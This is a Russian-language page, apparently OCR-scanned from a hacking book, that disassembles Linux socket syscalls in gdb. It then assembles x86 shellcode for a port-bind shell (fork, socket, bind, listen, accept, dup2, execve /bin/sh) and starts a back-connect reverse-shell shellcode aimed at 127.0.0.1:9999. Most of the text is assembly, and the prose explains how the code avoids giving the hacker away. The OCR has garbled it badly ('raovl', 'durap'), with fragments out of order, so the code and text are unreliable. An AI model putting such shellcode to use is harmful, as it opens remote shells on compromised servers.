Анимация
JavaScript
|
Главная Библионтека (gdb) disas socket Durap of asserabler code 0x804cda0 <socket>; 0x804cda2 <socket+2>: 0x804cda7 <socket+7>: 0x804cdac <socket+12>: 0x804cdb0 <socket+16>: 0x804cdb2 <socket+18>: 0x804cdb4 <socket+20>: 0x804cdb7 <socket+23>: 0x804cdbd <socket+29>: 0x804cdbe <socket+30>: 0x804cdbf <socket+31>: for function socket: movl raovl movl leal int movl cmpl jae ret nop nop %ebx,%edx $0x66,%eax $Oxl,%ebx 0x4 (%esp,1),%ecx $0x80 %edx,%ebx $Oxffffff83,%eax Ox804cdcO < syscall error> , % ecx %ebx,%edx $0x66,%eax $0x2,%ebx 0x4 (%esp,l) $0x80 %edx,iebx $Oxffffff83,%eax 0x804cdc0 < syscall 0x804cd60 <bind>: raovl 0x804cd62 <bind+2>: movl 0x804cd67 <bind+7>: raovl 0x804cd6c <bind+12>: leal 0x804cd70 <bind+16>; int 0x804cd72 <bind+18>: raovl 0xS04cd74 <bind+20>: cmpl 0x804cd77 <bind+23>: jae UxH04cdcO < syscall error> 0x804cd7d <bind+29>: ret 0x804cd7e <bind+30>: nop 0x804cd7f <bind+31>: nop End of assembler durap. (gdb) disas listen Durap of asserabler code for function listen: 0x804cd80 .<listen>: raovl %ebx,%edx 0x804cd82 <listen+2>: movl $0x66,%eax 0x804cd87 <listen+7>: raovl $0x4,%ebx Ox8 0 4cd8c <listen + 12>: leal 0x4 (Iesp,1),%ecx 0x804cd90 <listen+16>: int $0x80 0x804cd92 <listen+18>: raovl %edx,%ebx 0x 8 0 4 cd94 <listen + 20>: crapl $ 0 x f f f f f f 8 3 , %eax 0x804cd97 <listen+23>: jae 0x804cdc0 < syscall error> 0x804cd9d <listen+29>: ret 0x804cd9e <listen+30>: nop 0x804cd9f <listen+31>: nop End of asserabler durap. (gdb) disas accept Durap of asserabler code for function accept , %ecx %ebx,%edx $0x66,%eax $0x5,%ebx 0x4(*esp,1) $0x80 *edx,%ebx $0xffffff83,%eax 0x804cdc0 < syscall error> 0x804cd40 < accept>: raovl 0x804cd42 < accept+2>: movl 0x804cd47 < accept+7>: movl 0x804cd4c < accept+12>: leal 0x804cd50 < accept+16>: int 0x804cd52 < accept+18>: raovl 0x804cd54 < accept+20>: crapl 0x804cd57 < accept+23>: jae 0x804cd5d < accept+29>: ret 0x804cd5e < accept+30>: nop 0x804cd5f < accept+31>: nop End of assembler durap. Приведем все это к более понятному виду: dup2(cli,0) по завершении предыдущей функции в %еах дескриптор сокета, который передаем как второй параметр, поэтому помещаем его в регистр %еЬх номер системного вызова помещаем в регистр End of assembler dump. (gdb) disas bind Durap of assembler code for functioh bind: /третий параметр - О, передаем управление raovb *al,%bl raovb $0x3f,%al xorl %ecx,%ecx int $0x80 forkO %eax поэтому ядру обнуляем регистр %есх ничего особенного; просто передаем управле}ие~~яд Теперь попробуем написать shell-code для этой программы. Для начала выполним дизассемблирование этой программы. Получим приблизитедьц, следующее: (gdb) disas dup2 Dump of assembler code for function dup2; Ox804cbeO <dup2>: raovl %ebx,%edx 0x8 0 4 cbe2 <dup2 + 2>: raovl Ox8(%esp,1),%ecx 0x 8 0 4 cbe6 <dup2 + 6>; raovl Ox 4 ( %esp,1) ,%ebx 0x804cbea <dup2+10>: movl $0x3f,%eax 0x804cbef <dup2+15>: int $0x80 Ox804cbfl <dup2+17>; raovl %edx,%ebx 0x8 0 4 cbf3 <dup2 + 19>: crapl $0xfffff001,%eax 0x804cbf8 <dup2+24>: jae Ox804cdcO < sуsca1l error> 0x804cbfe <dup2+30>: ret 0x804cbff <dup2+31>; nop End of asserabler durap . (gdb) disas fork Durap of asserabler code for function fork: 0x804ca90 <fork>: raovl $0x2,%eax 0x804ca95 <fork+5>: int $0x80 0x804ca97 <fork+7>: crapl $Oxfffff001,%eax 0x804ca9c <fork+12>: jae 0x804cdc0 < syscall error> 0x804caa2 <fork+18>: ret 0x804caa3 <fork+19>; nop 0x804caa4 <fork+20>: nop 0x804caa5 <fork+21>: nop 0х804сааб <fork+22>: nop 0x804caa7 <fork+23>: nop 0x804caa8 <fork+24>; nop 0x804caa9 <fork+25>: nop 0x804caaa <fork+26>: nop 0x804caab <fork+27>: nop 0x804caac <fork+28>: nop 0x804caad <fork+29>: nop 0x804caae <fork+30>; nop 0x804caaf <fork+31>: nop End of asserabler durap. и если он не равен нулю, уходим raovb raovw raovb $0x2,%al %ax,Oxc(%esi] $0x77,%al listen (soc,1) :,;омер подфункции listen () == 4 raovl %esi,%ecx raovl %eax , (*esi) movb $0x1,%al raovl %eax,0x4(%esi) raovb $0x66,%al movb $0x4,Ibl int $0x80 accept(soc , 0 , 0 ) не стоит забывать, что по выходу из функции выходной параметр- передается через регистр %еах, так что обнулять его не стоит; следует вначале его сохранить в том месте, где это положено для. данного вызова movl %esi,%есх raovl %еах, (*esi) xorl %еах,4еах raovl %еах,0x4 (%esi) raovl %eax,0x8 (%esi) movb $0x66,%al movb $0x5,%bl int $0x80 Используя код этих вызовов, можно создать готовую программу, как из конструктора. Ниже приведен код программы, реализующей работу port-shell кода. . text .global start start: вызов функции fork() xorl %eax,%eax raovb $0x2,%al int , 0x80 проверяем результат, testi %eax,%eax jne exit l jmp doit l popl %esi вызов функции socketO xorl %eax,%eax xorl %ebx,%ebx raovl %esi,%ecx movb $0x2,%al raovl %eax, (%esi) raovb $0x1,%al raovl %eax,0x4(%esi raovb $0x6,%al raovl %eax,0x8(%esi raovb $0x66,%al raovb $0x1,%bl , int $0x80 /вызов функции bindO raovl %eax, (%esi) указав в регистре %еах номер системного вызова fork() вообще говоря, для облегчения кода эту функцию можно выбросить, но демон, в котором вызовется этот shell-code, будет ждать окончания работы этой программы, чго может выдать хакера xorl %еах,%еах raovb $0x2,ial int $0x80 socket(2,1,0) AFINET, SOCK STREAM - определенные имена в заголовочных файлах sys/socket.h, так что можно подсмотреть их и установить уже определенные номера; также необходимо отметить, что для вызова SYS socкеtса11 характерна следующая черта: данный вызов делится на несколько подвызовов, у каждого есть свой номер; при этом, когда нужно написать программу на ассемблере в регистр %еах по-прежнему помещается номер вызываемо функции(SYS socketcall)с номером 0x66, а в регистр %еЬх - номер подфункции; все параметры, передаваемые в системный вызов, располагаются в памяти; указатель на эту область помещается в регистр %есх номера подфункций для этого системного вызова можно н-айти в файле /usr/include/linux/net.h номер подфункции socket() == 1 xorl %еах,%еах xorl %ebx,%ebx movl esi,%ecx movl %eax,0x8 (lesi) movb $0x1,%al movl %eax,0x4 ( %esi) movb $0x2,%al raovl %eax , ( %esi) raovb $0x66,%al movb $0x1,%bl int $0x80 bind (soc, (struct sockaddr *)sserv addr,0x10) номер подфункции bindO == 2 все точно также как и с вызовом socket() при условии, что здесь происходит заполнение структуры, описывающей серверную часть программы movl %esi,%ecx movl %еах, (%esi) movb $0x2,%al movw %ax,Oxc(%esi) raovb $0x77,%al raovw iiax,Oxe(%esi) leal Oxc(%esi),%eax raovl %eax,0x4(%esi) xorl %eax,%eax raovl %eax,0x10 (%esi) raovb $0x10,%al movl %eax,0x8 (%esi) raovb $0x66,%al raovb $0x2,%bl int $0x80 raovw leal movl xorl movl movb movl movb movb int jmp exit l jmp doit 1 %ax,Oxe{%esi) Oxc (%esi),%eax %eax,0x4 (%esi) %eax,leax %eax,0x10 {%esi) $0x10 , %al %eax,0x8 (%esi) $0x66,%al $0x2,%bl $0x80 0x4 $exit jmp . doit вызов функции listen!) raovb $0x1,%al movl %eax,0x4 (%esi) movb $0x66,%al raovb $0x4,%bl int $0x80 вызов функции accept О xorl %eax,%eax raovl %eax,0x4(%esi) movl %eax,0x8 (%esi) raovb $0x66,%al movb $0x5,°sbl int $0x80 вызов функций dup2() вообще говоря, этот код можно %al,%Ь1 $0x3f, %al %есх,%есх $0x80 было бы заменить на следующий: raovb movb xorl int
movb $0x3f,ial raovb $0x1,%cl II int $0x80 raovb $0x3f,%al movb $0x2,%cl int $0x80 ho это увеличит размер кода, да алгоритмически не очень красиво movb $3,%cl raovb %а1,%bl 1оор 1: raovb $0x3f,%al int $0x80 loopnz $loop l вызов функции execve() смотри advanced execveO xorl %eax,%eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f movl lesp,%ebx cltd pushl %edx pushl %ebx movl %esp,%ecx raovb $Oxb,%al int $0x80 exit: вызов функции выхода xorl %eax,%eax movb $0x1,%al xorl %ebx,%ebx int $0x80 после ниже идущей команды call в сегмент кода будет записываться структура, описывающая серверную часть программы doit: call didit В качестве дополнения ниже приведена программа, описывающая несколько другие действия и в общем схожая по алгоритму с предыдущей. Дело в том что хакеры не всегда подсоединяются к серверу сами. Порой, из-за настроек firewall приходится вынуждать сервер подключаться к хакеру. Для этого используются back-connect shell-коды, программы, при запуске которых подсоединяются к определенному серверу на определенный порт и открывают оболочку. В этом случае сам сервер становится клиентом, а хакер - сервером. start text .global start: raov1 %esp,%ebp %edx,ledx $102,%edx %edx, %eax %ecx,lecx %ecx,%ebx %ebx %ebx, %ebx %ebx, %ebx %ecx. xorl raovb raovl xorl raovl incl raovl incl movl decl raovl leal int xorl raovl incl movw movw raovl leal raovl raovb raovl incl leal -8(%ebp) -12(%ebp) . -4(%ebp) -12 (%ebp),%ecx $0x80 4ecx,%ecx %eax,-12(lebp) %ebx %ebx,-20(%ebp) $9999,-18(%ebp) $0xl00007f,-16(%ebp) -20 (%ebp),%eax %eax,-8 (%ebp) $16,-4(%ebp) %edx,%eax %ebx -12 (%ebp),%ecx 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 [ 46 ] 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |